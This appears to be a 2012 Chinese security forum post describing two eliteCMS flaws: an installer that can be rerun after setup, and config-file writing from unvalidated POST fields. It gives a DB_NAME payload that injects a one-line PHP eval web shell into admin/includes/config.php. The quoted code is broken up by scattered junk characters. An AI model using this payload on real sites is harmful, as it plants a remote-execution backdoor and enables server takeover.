找回密码
 立即注册
查看: 3117|回复: 0
打印 上一主题 下一主题

eliteCMS安装文件未验证 + 一句话写入安全漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-18 13:59:27 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
eliteCMS的安装程序安装结束后未作锁定,导致黑客可以通过访问安装程序地址进行重复安装$ D. Z: y4 f4 ^% E5 H' h2 f
. Z! X0 G3 H0 G4 f% R3 K1 `: L
另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
2 b8 H& F! }& U8 U我们来看代码:7 c; `. l5 B9 N6 P1 D: E' ~2 q
2 H7 b* z1 j  J3 h2 y
...% X# k$ f3 ^' y9 V
elseif ($_GET['step'] == "4") {
( h2 b+ r& M, }& _$ N    $file = "../admin/includes/config.php";
2 x4 N' J* V: M  f. P9 h: J    $write = "<?php\n";  W6 y" B9 i( P* P
    $write .= "/**\n";3 K0 a* a! Z* o) o, f
    $write .= "*\n";
, C! R; w/ W* r+ U, T$ Z/ ]    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
( }' j4 i+ U: H+ h1 y...略...
# g6 ~. G* P0 U+ _. Z/ W. w    $write .= "*\n";7 G: |* F) P0 F3 F
    $write .= "*/\n";
$ v& Y, D! Q9 W/ j    $write .= "\n";$ s' J% Q: k: B+ @3 g0 w# g- I
    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";0 d  X5 f' R4 i% c# W
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";$ w" y; r0 G, s
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";, |3 T* L7 N, R0 u' K% q9 E
    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
+ B" w6 a5 D# ?    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";5 D$ n; X) S! Q8 A9 d4 ~; U
    $write .= "if (!\$connection) {\n";( J1 C+ ?2 T: e' t5 p  V
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
' g2 F$ k7 z! F' O3 R' I    $write .= "        \n";
9 _$ X" m4 y* J$ q3 |    $write .= "} \n";
; X7 p, v0 ^8 q$ a& u0 ]    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
: Z; u/ Q) v( G, G    $write .= "if (!\$db_select) {\n";" E' l4 J  o  W, p. {) R2 c
    $write .= "        die(\"Database select failed\" .mysql_error());\n";
$ B5 J3 O7 a1 ^) M    $write .= "        \n";
$ N# H4 z* b7 q3 J# i    $write .= "} \n";
/ I- z! S8 Y" C; n" \# }    $write .= "?>\n";! T. \) W) {, k5 S/ Y9 L( B: D4 D
: t3 l- S* I3 }+ {# I. x8 \
    $writer = fopen($file, 'w');) V& v5 I* h* j8 ~
...& _, Q1 u' a& A5 J  O

% l( q! {% r6 ]* G8 ^# f在看代码:/ ~1 `+ t5 Z! {+ ~9 \, P

6 n) m( A- O! g. @$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];- \! V$ n/ |9 ^# l" y0 _+ T
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
) e" H$ n, I6 L% F$_SESSION['DB_USER'] = $_POST['DB_USER'];
; E4 L7 t/ p9 I6 p! `8 P0 m0 P+ ~$_SESSION['DB_PASS'] = $_POST['DB_PASS'];) r, G- K+ x; h3 L5 }9 w- u) ~

& W8 D& s$ C+ g6 ^取值未作任何验证
5 f# g$ _$ Y% {- m2 s如果将数据库名POST数据:
1 X) a; T+ |, H- s9 } ' Z. c3 b: n. E0 t4 s, S6 h
"?><?php eval($_POST[c]);?><?php1 N& g' r; o$ W  ^8 [, @
+ v, V* X) e' d. \4 y5 _
将导致一句话后门写入/admin/includes/config.php/ ]" l) c+ \; v
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表